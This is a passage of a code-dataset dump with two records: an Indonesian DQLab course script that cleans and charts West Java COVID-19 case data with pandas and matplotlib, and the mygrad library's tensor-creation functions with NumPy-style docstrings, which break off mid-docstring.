(cov_jabar.drop(columns=[item for item in cov_jabar.columns\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif item.startswith('AKUMULASI')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tor item.startswith('DIRAWAT')])\n\t\t\t\t\t\t\t\t\t\t\t\t.rename(columns=str.lower)\n\t\t\t\t\t\t\t\t\t\t\t\t.rename(columns={'kasus': 'kasus_baru'})\n\t\t\t\t  )\ncov_jabar_tidy['tanggal'] = pd.to_datetime(cov_jabar_tidy['tanggal']*1e6, unit='ns')\nprint('Lima data teratas:\\n', cov_jabar_tidy.head())\n\n\n# # [Menunjukkan Melalui Gambar](https://academy.dqlab.id/main/livecode/287/533/2666)\n\n# In[13]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# # [Menunjukkan Melalui Gambar - 2](https://academy.dqlab.id/main/livecode/287/533/2667)\n\n# In[14]:\n\n\nimport matplotlib.pyplot as plt\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='kasus_baru')\nplt.show()\n\n\n# # [Informasi pada Grafik](https://academy.dqlab.id/main/livecode/287/533/2668)\n\n# In[15]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='kasus_baru', color='salmon')\nfig.suptitle('Kasus Harian Positif COVID-19 di Jawa Barat',\ny=1.00, fontsize=16, fontweight='bold', ha='center')\nax.set_title('Terjadi pelonjakan kasus di awal bulan Juli akibat klaster Secapa AD Bandung',\nfontsize=10)\nax.set_xlabel('')\nax.set_ylabel('Jumlah kasus')\nax.text(1, -0.1, 'Sumber data: covid.19.go.id', color='blue',\n\t\tha='right', transform=ax.transAxes)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid(axis='y')\nplt.tight_layout()\nplt.show()\n\n\n# # [Grafik untuk Kasus Sembuh](https://academy.dqlab.id/main/livecode/287/533/2669)\n\n# In[16]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='sembuh', color='olivedrab')\nax.set_title('Kasus Harian Sembuh Dari COVID-19 di Jawa Barat',\nfontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Jumlah kasus')\nax.text(1, -0.1, 'Sumber data: covid.19.go.id', color='blue',\nha='right', transform=ax.transAxes)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid(axis='y')\nplt.tight_layout()\nplt.show()\n\n\n# # [Grafik untuk Kasus Meninggal](https://academy.dqlab.id/main/livecode/287/533/2670)\n\n# In[17]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_tidy, x='tanggal', height='meninggal', color='slategrey')\nax.set_title('Kasus Harian Meninggal Dari COVID-19 di Jawa Barat',\nfontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Jumlah kasus')\nax.text(1, -0.1, 'Sumber data: covid.19.go.id', color='blue',\nha='right', transform=ax.transAxes)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid(axis='y')\nplt.tight_layout()\nplt.show()\n\n\n# # [Apakah Pekan ini Lebih Baik?](https://academy.dqlab.id/main/livecode/287/535/2671)\n\n# In[18]:\n\n\ncov_jabar_pekanan = (cov_jabar_tidy.set_index('tanggal')['kasus_baru']\n\t\t\t\t\t  .resample('W')\n\t\t\t\t\t  .sum()\n\t\t\t\t\t  .reset_index()\n\t\t\t\t\t  .rename(columns={'kasus_baru': 'jumlah'})\n)\ncov_jabar_pekanan['tahun'] = cov_jabar_pekanan['tanggal'].apply(lambda x: x.year)\ncov_jabar_pekanan['pekan_ke'] = cov_jabar_pekanan['tanggal'].apply(lambda x: x.weekofyear)\ncov_jabar_pekanan = cov_jabar_pekanan[['tahun', 'pekan_ke', 'jumlah']]\n\nprint('Info cov_jabar_pekanan:')\nprint(cov_jabar_pekanan.info())\nprint('\\nLima data teratas cov_jabar_pekanan:\\n', cov_jabar_pekanan.head())\n\n\n# # [Menjawab Pertanyaan](https://academy.dqlab.id/main/livecode/287/535/2672)\n\n# In[19]:\n\n\ncov_jabar_pekanan['jumlah_pekanlalu'] = cov_jabar_pekanan['jumlah'].shift().replace(np.nan, 0).astype(np.int)\ncov_jabar_pekanan['lebih_baik'] = cov_jabar_pekanan['jumlah'] < cov_jabar_pekanan['jumlah_pekanlalu']\n\nprint('Sepuluh data teratas:\\n', cov_jabar_pekanan.head(10))\n\n\n# # [Membuat Bar Chart](https://academy.dqlab.id/main/livecode/287/535/2673)\n\n# In[20]:\n\n\nimport matplotlib.pyplot as plt\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.bar(data=cov_jabar_pekanan, x='pekan_ke', height='jumlah',\ncolor=['mediumseagreen' if x is True else 'salmon' for x in cov_jabar_pekanan['lebih_baik']])\nfig.suptitle('Kasus Pekanan Positif COVID-19 di Jawa Barat',\ny=1.00, fontsize=16, fontweight='bold', ha='center')\nax.set_title('Kolom hijau menunjukan penambahan kasus baru lebih sedikit dibandingkan satu pekan sebelumnya',\nfontsize=12)\nax.set_xlabel('')\nax.set_ylabel('Jumlah kasus')\nax.text(1, -0.1, 'Sumber data: covid.19.go.id', color='blue',\nha='right', transform=ax.transAxes)\n\nplt.grid(axis='y')\nplt.tight_layout()\nplt.show()\n\n\n# # [Pola dan Dinamika](https://academy.dqlab.id/main/livecode/287/535/2674)\n\n# In[21]:\n\n\ncov_jabar_akumulasi = cov_jabar_tidy[['tanggal']].copy()\ncov_jabar_akumulasi['akumulasi_aktif'] = (cov_jabar_tidy['kasus_baru'] - cov_jabar_tidy['sembuh'] - cov_jabar_tidy['meninggal']).cumsum()\ncov_jabar_akumulasi['akumulasi_sembuh'] = cov_jabar_tidy['sembuh'].cumsum()\ncov_jabar_akumulasi['akumulasi_meninggal'] = cov_jabar_tidy['meninggal'].cumsum()\ncov_jabar_akumulasi.tail()\n\n\n# # [Membuat Line Chart](https://academy.dqlab.id/main/livecode/287/535/2675)\n\n# In[22]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\nax.plot('tanggal', 'akumulasi_aktif', data=cov_jabar_akumulasi, lw=2)\n\nax.set_title('Akumulasi aktif COVID-19 di Jawa Barat',\nfontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Akumulasi aktif')\nax.text(1, -0.1, 'Sumber data: covid.19.go.id', color='blue',\nha='right', transform=ax.transAxes)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n\nplt.grid()\nplt.tight_layout()\nplt.show()\n\n\n# # [Kabar Buruk dan Kabar Baik](https://academy.dqlab.id/main/livecode/287/535/2676)\n\n# In[23]:\n\n\nTrue\n\n\n# # [Tahap Terakhir](https://academy.dqlab.id/main/livecode/287/535/2677)\n\n# In[24]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\nplt.clf()\nfig, ax = plt.subplots(figsize=(10,5))\ncov_jabar_akumulasi.plot(x='tanggal', kind='line', ax=ax, lw=3,\ncolor=['salmon', 'slategrey', 'olivedrab'])\n\nax.set_title('Dinamika Kasus COVID-19 di Jawa Barat',\nfontsize=22)\nax.set_xlabel('')\nax.set_ylabel('Akumulasi aktif')\nax.text(1, -0.1, 'Sumber data: covid.19.go.id', color='blue',\nha='right', transform=ax.transAxes)\n\nax.xaxis.set_major_locator(mdates.MonthLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter('%b'))\n\nplt.grid()\nplt.tight_layout()\nplt.show()\n\n", "meta": {"hexsha": "b49eea3596dc24d5a081c3f5311d4fa78163233d", "size": 9433, "ext": "py", "lang": "Python", "max_stars_repo_path": "Learn/Python/Applied Data Science/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python.py", "max_stars_repo_name": "vincentchance/DQLab", "max_stars_repo_head_hexsha": "0637ae8ec358d311229821853ebb70d3b915d0da", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 22, "max_stars_repo_stars_event_min_datetime": "2021-04-06T02:20:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T11:47:26.000Z", "max_issues_repo_path": "Learn/Python/Applied Data Science/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python.py", "max_issues_repo_name": "vincentchance/DQLab", "max_issues_repo_head_hexsha": "0637ae8ec358d311229821853ebb70d3b915d0da", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-02-08T04:58:25.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-08T04:58:25.000Z", "max_forks_repo_path": "Learn/Python/Applied Data Science/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python/Eksplorasi dan Analisis Data COVID-19 Indonesia using Python.py", "max_forks_repo_name": "vincentchance/DQLab", "max_forks_repo_head_hexsha": "0637ae8ec358d311229821853ebb70d3b915d0da", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 50, "max_forks_repo_forks_event_min_datetime": "2021-03-31T10:32:55.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-15T11:04:35.000Z", "avg_line_length": 26.5718309859, "max_line_length": 137, "alphanum_fraction": 0.7237358211, "include": true, "reason": "import numpy", "num_tokens": 2994, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11436853523769844, "lm_q1q2_score": 0.05718426761884922}}
{"text": "from typing import Optional, Sequence, Union\n\nimport numpy as np\n\nfrom mygrad.tensor_base import Tensor, _resolve_constant, implements_numpy_override\nfrom mygrad.typing import ArrayLike, DTypeLikeReals, Real\n\nShape = Union[Sequence[int], int]\n\n\ndef _anything_but_tensor(x):\n    if isinstance(x, Tensor):\n        x = x.data\n    return x\n\n\n__all__ = [\n    \"arange\",\n    \"empty\",\n    \"empty_like\",\n    \"eye\",\n    \"geomspace\",\n    \"identity\",\n    \"linspace\",\n    \"logspace\",\n    \"ones\",\n    \"ones_like\",\n    \"full\",\n    \"full_like\",\n    \"zeros\",\n    \"zeros_like\",\n]\n\n\ndef empty(\n    shape: Shape, dtype: DTypeLikeReals = np.float32, *, constant: Optional[bool] = None\n) -> Tensor:\n    \"\"\"Return a new Tensor of the given shape and type, without initializing entries.\n\n    This docstring was adapted from ``numpy.empty`` [1]_\n\n    Parameters\n    ----------\n    shape : Union[int, Tuple[int]]\n        The shape of the empty array.\n\n    dtype : data-type, optional (default=numpy.float32)\n        The data type of the output Tensor.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n        A tensor of uninitialized data of the given shape and dtype.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.empty.html\n\n    See Also\n    --------\n    empty_like : Return an empty tensor with shape and type of input.\n    ones : Return a new tensor setting values to one.\n    zeros : Return a new tensor setting values to zero.\n    full : Return a new tensor of given shape filled with value.\n\n\n    Notes\n    -----\n    `empty`, unlike `zeros`, does not set the array values to zero,\n    and may therefore be marginally faster.  On the other hand, it requires\n    the user to manually set all the values in the array, and should be\n    used with caution.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.empty([2, 2], constant=True)\n    Tensor([[ -9.74499359e+001,   6.69583040e-309],\n            [  2.13182611e-314,   3.06959433e-309]])         #random\n\n    >>> mg.empty([2, 2], dtype=int)\n    Tensor([[-1073741821, -1067949133],\n            [  496041986,    19249760]])                     #random\n    \"\"\"\n    return Tensor(np.empty(shape=shape, dtype=dtype), constant=constant, copy=False)\n\n\n@implements_numpy_override()\ndef empty_like(\n    other: ArrayLike,\n    dtype: Optional[DTypeLikeReals] = None,\n    shape: Optional[Union[int, Sequence[int]]] = None,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"Return a new Tensor of the same shape and type as the given array.\n\n    This docstring was adapted from ``numpy.empty_like`` [1]_\n\n    Parameters\n    ----------\n    other : ArrayLike\n        The Tensor or array whose shape and datatype should be mirrored.\n\n    dtype : Optional[DTypeLikeReals]\n        Override the data type of the returned Tensor with this value, or None to not override.\n\n    shape : Optional[Union[int, Sequence[int]]]\n        If specified, overrides the shape of the result\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation. If ``None`` then:\n\n        Inferred from ``other``, if other is a tensor\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n    Returns\n    -------\n    Tensor\n        A tensor of uninitialized data whose shape and type match `other`.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.empty_like.html\n\n    See Also\n    --------\n    empty : Return a new Tensor of the given shape and type, without initializing entries.\n    ones : Return a new tensor setting values to one.\n    zeros : Return a new tensor setting values to zero.\n    full : Return a new tensor of given shape filled with value.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> x = mg.arange(4).reshape(2, 2)\n    >>> mg.empty_like(x, constant=True)\n    Tensor([[ -9.74499359e+001,   6.69583040e-309],\n            [  2.13182611e-314,   3.06959433e-309]])         #random\n\n    >>> mg.empty_like(x, dtype=int)\n    Tensor([[-1073741821, -1067949133],\n            [  496041986,    19249760]])                     #random\n    \"\"\"\n    constant = _resolve_constant(other, constant=constant)\n    return Tensor(\n        np.empty_like(_anything_but_tensor(other), dtype=dtype, shape=shape),\n        constant=constant,\n        copy=False,\n    )\n\n\ndef eye(\n    N: int,\n    M: Optional[int] = None,\n    k: int = 0,\n    dtype: DTypeLikeReals = float,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"Return a 2D Tensor with ones on the diagonal and zeros elsewhere.\n\n    This docstring was adapted from ``numpy.eye`` [1]_\n\n    Parameters\n    ----------\n    N : int\n        The number of rows in the output Tensor.\n\n    M : int, optional (default=None)\n        The number of columns in the output, or None to match `rows`.\n\n    k : int, optional (default=0)\n        The index of the diagonal. 0 is the main diagonal; a positive value is the upper\n        diagonal, while a negative value refers to the lower diagonal.\n\n    dtype : data-type, optional (default=numpy.float32)\n        The data type of the output Tensor.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.eye.html\n\n    Returns\n    -------\n    Tensor\n        A tensor whose elements are 0, except for the :math:`k`-th diagonal, whose values are 1.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.eye(2, dtype=int)\n    Tensor([[1, 0],\n            [0, 1]])\n    >>> mg.eye(3, k=1)\n    Tensor([[ 0.,  1.,  0.],\n            [ 0.,  0.,  1.],\n            [ 0.,  0.,  0.]])\n    \"\"\"\n    return Tensor(\n        np.eye(N, M=M, k=k, dtype=dtype),\n        constant=constant,\n        copy=False,\n    )\n\n\ndef identity(\n    n: int, dtype: DTypeLikeReals = float, *, constant: Optional[bool] = None\n) -> Tensor:\n    \"\"\"Return the identity Tensor; a square Tensor with 1s on the main diagonal and 0s elsewhere.\n\n    This docstring was adapted from ``numpy.identity`` [1]_\n\n    Parameters\n    ----------\n    n : int\n        The number of rows and columns in the output Tensor.\n\n    dtype : data-type, optional (default=numpy.float32)\n        The data type of the output Tensor.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n        A square Tensor whose main diagonal is 1 and all other elements are 0.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.identity.html\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.identity(3)\n    Tensor([[ 1.,  0.,  0.],\n            [ 0.,  1.,  0.],\n            [ 0.,  0.,  1.]])\n    \"\"\"\n    return Tensor(np.identity(n, dtype=dtype), constant=constant, copy=False)\n\n\ndef ones(\n    shape: Shape, dtype: DTypeLikeReals = np.float32, *, constant: Optional[bool] = None\n) -> Tensor:\n    \"\"\"\n    Return a Tensor of the given shape and type, filled with ones.\n\n    This docstring was adapted from ``numpy.ones`` [1]_\n\n    Parameters\n    ----------\n    shape : Union[int, Tuple[int]]\n        The shape of the output Tensor.\n\n    dtype : data-type, optional (default=numpy.float32)\n        The data type of the output Tensor.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n        A Tensor of ones with the given shape and data type.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.ones.html\n\n    See Also\n    --------\n    ones_like : Return an tensor of ones with shape and type of input.\n    empty : Return a new uninitialized tensor.\n    zeros : Return a new tensor setting values to zero.\n    full : Return a new tensor of given shape filled with value.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.ones(5)\n    Tensor([ 1.,  1.,  1.,  1.,  1.])\n\n    >>> mg.ones((5,), dtype=int)\n    Tensor([1, 1, 1, 1, 1])\n\n    >>> mg.ones((2, 1))\n    Tensor([[ 1.],\n           [ 1.]])\n\n    >>> mg.ones((2, 2))\n    Tensor([[ 1.,  1.],\n            [ 1.,  1.]])\n    \"\"\"\n    return Tensor(np.ones(shape, dtype=dtype), constant=constant, copy=False)\n\n\n@implements_numpy_override()\ndef ones_like(\n    other: ArrayLike,\n    dtype: Optional[DTypeLikeReals] = None,\n    shape: Optional[Union[int, Sequence[int]]] = None,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"\n    Return a Tensor of the same shape and type as the given, filled with ones.\n\n    This docstring was adapted from ``numpy.ones_like`` [1]_\n\n    Parameters\n    ----------\n    other : array_like\n        The Tensor or array whose shape and datatype should be mirrored.\n\n    dtype : Optional[DTypeLikeReals]\n        Override the data type of the returned Tensor with this value, or None to not override.\n\n    shape : Optional[Union[int, Sequence[int]]]\n        If specified, overrides the shape of the result\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation. If ``None`` then:\n\n        Inferred from ``other``, if other is a tensor\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n\n    Returns\n    -------\n    Tensor\n        A Tensor of ones whose shape and data type match `other`.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.ones_like.html\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> x = mg.arange(6).reshape((2, 3))\n    >>> x\n    Tensor([[0, 1, 2],\n            [3, 4, 5]])\n\n    >>> mg.ones_like(x)\n    Tensor([[1, 1, 1],\n            [1, 1, 1]])\n\n    >>> y = mg.arange(3, dtype=float)\n    >>> y\n    Tensor([ 0.,  1.,  2.])\n\n    >>> mg.ones_like(y)\n    Tensor([ 1.,  1.,  1.])\n    \"\"\"\n    constant = _resolve_constant(other, constant=constant)\n\n    return Tensor(\n        np.ones_like(_anything_but_tensor(other), dtype=dtype, shape=shape),\n        constant=constant,\n        copy=False,\n    )\n\n\ndef zeros(\n    shape: Shape, dtype: DTypeLikeReals = np.float32, *, constant: Optional[bool] = None\n) -> Tensor:\n    \"\"\"\n    Return a Tensor of the given shape and type, filled with zeros.\n\n    This docstring was adapted from ``numpy.zeros`` [1]_\n\n    Parameters\n    ----------\n    shape : Union[int, Tuple[int]]\n        The shape of the output Tensor.\n\n    dtype : data-type, optional (default=numpy.float32)\n        The data type of the output Tensor.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n        A Tensor of zeros with the given shape and data type.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.zeros.html\n\n    See Also\n    --------\n    ones_like : Return an tensor of ones with shape and type of input.\n    empty : Return a new uninitialized tensor.\n    ones : Return a new tensor setting values to one.\n    full : Return a new tensor of given shape filled with value.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.zeros(5)\n    Tensor([ 0.,  0.,  0.,  0.,  0.])\n\n    >>> mg.zeros((5,), dtype=int, constant=True) # tensor will not back-propagate a gradient\n    Tensor([0, 0, 0, 0, 0])\n\n    >>> mg.zeros((2, 1))\n    Tensor([[ 0.],\n            [ 0.]])\n\n    >>> mg.zeros((2, 2))\n    Tensor([[ 0.,  0.],\n            [ 0.,  0.]])\n    \"\"\"\n    return Tensor(np.zeros(shape, dtype), constant=constant, copy=False)\n\n\n@implements_numpy_override()\ndef zeros_like(\n    other: ArrayLike,\n    dtype: Optional[DTypeLikeReals] = None,\n    shape: Optional[Union[int, Shape]] = None,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"\n    Return a Tensor of the same shape and type as the given, filled with zeros.\n\n    This docstring was adapted from ``numpy.zeros_like`` [1]_\n\n    Parameters\n    ----------\n    other : ArrayLike\n        The Tensor or array whose shape and datatype should be mirrored.\n\n    dtype : Optional[DTypeLikeReals]\n        Override the data type of the returned Tensor with this value, or None to not override.\n\n    shape : Optional[int, Sequence[int]]\n        If specified, overrides the shape of the result\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation. If ``None`` then:\n\n        Inferred from ``other``, if other is a tensor\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n        A Tensor of zeros whose shape and data type match `other`.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.zeros_like.html\n\n    See Also\n    --------\n    empty_like : Return an empty tensor with shape and type of input.\n    ones_like : Return an tensor of ones with shape and type of input.\n    full_like : Return a new tensor with shape of input filled with value.\n    zeros : Return a new tensor setting values to zero.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> x = mg.arange(6).reshape((2, 3))\n    >>> x\n    Tensor([[0, 1, 2],\n            [3, 4, 5]])\n\n    >>> mg.zeros_like(x, constant=True)  # tensor will not back-propagate a gradient\n    Tensor([[0, 0, 0],\n            [0, 0, 0]])\n\n    >>> y = mg.arange(3, dtype=float)\n    >>> y\n    Tensor([ 0.,  1.,  2.])\n\n    >>> mg.zeros_like(y)\n    Tensor([ 0.,  0.,  0.])\n    \"\"\"\n    constant = _resolve_constant(other, constant=constant)\n    return Tensor(\n        np.zeros_like(_anything_but_tensor(other), dtype=dtype, shape=shape),\n        constant=constant,\n        copy=False,\n    )\n\n\ndef full(\n    shape: Shape,\n    fill_value: ArrayLike,\n    dtype: Optional[DTypeLikeReals] = None,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"\n    Return a Tensor of the given shape and type, filled with `fill_value`.\n\n    This docstring was adapted from ``numpy.full`` [1]_\n\n    Parameters\n    ----------\n    shape : Union[int, Iterable[int]]\n        The shape of the output Tensor.\n\n    fill_value : ArrayLike\n        The value with which to fill the output Tensor. Note that this function\n        is not differentiable \u2013 the resulting tensor will not backprop through\n        `fill_value`.\n\n        The value with which to fill the output Tensor.\n\n    dtype : Optional[DTypeLikeReals]\n        The data type of the output Tensor, or None to match `fill_value`..\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n        A Tensor of `fill_value` with the given shape and dtype.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.full.html\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.full((2, 2), 33)\n    Tensor([[ 33,  33],\n            [ 33,  33]])\n\n    >>> mg.full((2, 2), 10)\n    Tensor([[10, 10],\n            [10, 10]])\n    \"\"\"\n    return Tensor(\n        np.full(shape, fill_value=fill_value, dtype=dtype),\n        constant=constant,\n        copy=False,\n    )\n\n\n@implements_numpy_override()\ndef full_like(\n    other: ArrayLike,\n    fill_value: Real,\n    dtype: Optional[DTypeLikeReals] = None,\n    shape: Optional[Union[int, Shape]] = None,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"Return a Tensor of the same shape and type as the given, filled with `fill_value`.\n\n    This docstring was adapted from ``numpy.full_like`` [1]_\n\n    Parameters\n    ----------\n    other : ArrayLike\n        The tensor or array whose shape and datatype should be mirrored.\n\n    fill_value : Real\n        The value with which to fill the output Tensor.\n\n    dtype : Optional[DTypeLikeReals]\n        Override the data type of the returned Tensor with this value, or None to not override.\n\n    shape : Optional[int, Sequence[int]]\n        If specified, overrides the shape of the result\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation. If ``None`` then:\n\n        Inferred from ``other``, if other is a tensor\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n    Returns\n    -------\n    Tensor\n        A Tensor of `fill_value` whose shape and data type match `other`.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.full_like.html\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> x = mg.arange(6, dtype=int)\n    >>> mg.full_like(x, 1)\n    Tensor([1, 1, 1, 1, 1, 1])\n    >>> mg.full_like(x, 0.1)\n    Tensor([0, 0, 0, 0, 0, 0])\n    >>> mg.full_like(x, 0.1, dtype=np.double)\n    Tensor([ 0.1,  0.1,  0.1,  0.1,  0.1,  0.1])\n    >>> mg.full_like(x, np.nan, dtype=np.double)\n    Tensor([ nan,  nan,  nan,  nan,  nan,  nan])\n\n    >>> y = mg.arange(6, dtype=np.double)\n    >>> mg.full_like(y, 0.1)\n    Tensor([ 0.1,  0.1,  0.1,  0.1,  0.1,  0.1])\n    \"\"\"\n    constant = _resolve_constant(other, constant=constant)\n\n    return Tensor(\n        np.full_like(\n            _anything_but_tensor(other),\n            fill_value=_anything_but_tensor(fill_value),\n            dtype=dtype,\n            shape=shape,\n        ),\n        constant=constant,\n        copy=False,\n    )\n\n\ndef arange(\n    *args,\n    constant: Optional[bool] = None,\n    **kwargs,\n) -> Tensor:\n    \"\"\"\n    arange([start,] stop[, step,], dtype=None, *, constant=None)\n\n    Return a Tensor with evenly-spaced values within a given interval.\n\n    Values are generated within [start, stop). Note that for non-integer steps, results may be\n    inconsistent; you are better off using `linspace` instead.\n\n    This docstring was adapted from ``numpy.arange`` [1]_\n\n    Parameters\n    ----------\n    start : Real, optional, default=0\n        The start of the interval, inclusive.\n\n    stop : Real\n        The end of the interval, exclusive.\n\n    step : int, optional (default=1)\n        The spacing between successive values.\n\n    dtype : Optional[DTypeLikeReals]\n        The data type of the output Tensor, or None to infer from the inputs.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n        A Tensor of evenly-spaced values in [start, end).\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.arange.html\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.arange(3)\n    Tensor([0, 1, 2])\n    >>> mg.arange(3.0, constant=True)  # resulting tensor will not back-propagate a gradient\n    Tensor([ 0.,  1.,  2.])\n    >>> mg.arange(3,7)\n    Tensor([3, 4, 5, 6])\n    >>> mg.arange(3,7,2)\n    Tensor([3, 5])\n    \"\"\"\n    return Tensor(np.arange(*args, **kwargs), constant=constant, copy=False)\n\n\ndef linspace(\n    start: ArrayLike,\n    stop: ArrayLike,\n    num: int = 50,\n    endpoint: bool = True,\n    dtype: Optional[DTypeLikeReals] = None,\n    axis: int = 0,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"Return a Tensor with evenly-spaced numbers over a specified interval.\n\n    Values are generated within [start, stop], with the endpoint optionally excluded.\n\n    This docstring was adapted from ``numpy.linspace`` [1]_\n\n    Parameters\n    ----------\n    start : ArrayLike\n        The starting value of the sequence, inclusive.\n\n    stop : ArrayLike\n        The ending value of the sequence, inclusive unless `include_endpoint` is False.\n\n    num : int, optional (default=50)\n        The number of values to generate. Must be non-negative.\n\n    endpoint : bool, optional (default=True)\n        Whether to include the endpoint in the Tensor. Note that if False, the step size changes\n        to accommodate the sequence excluding the endpoint.\n\n    dtype : 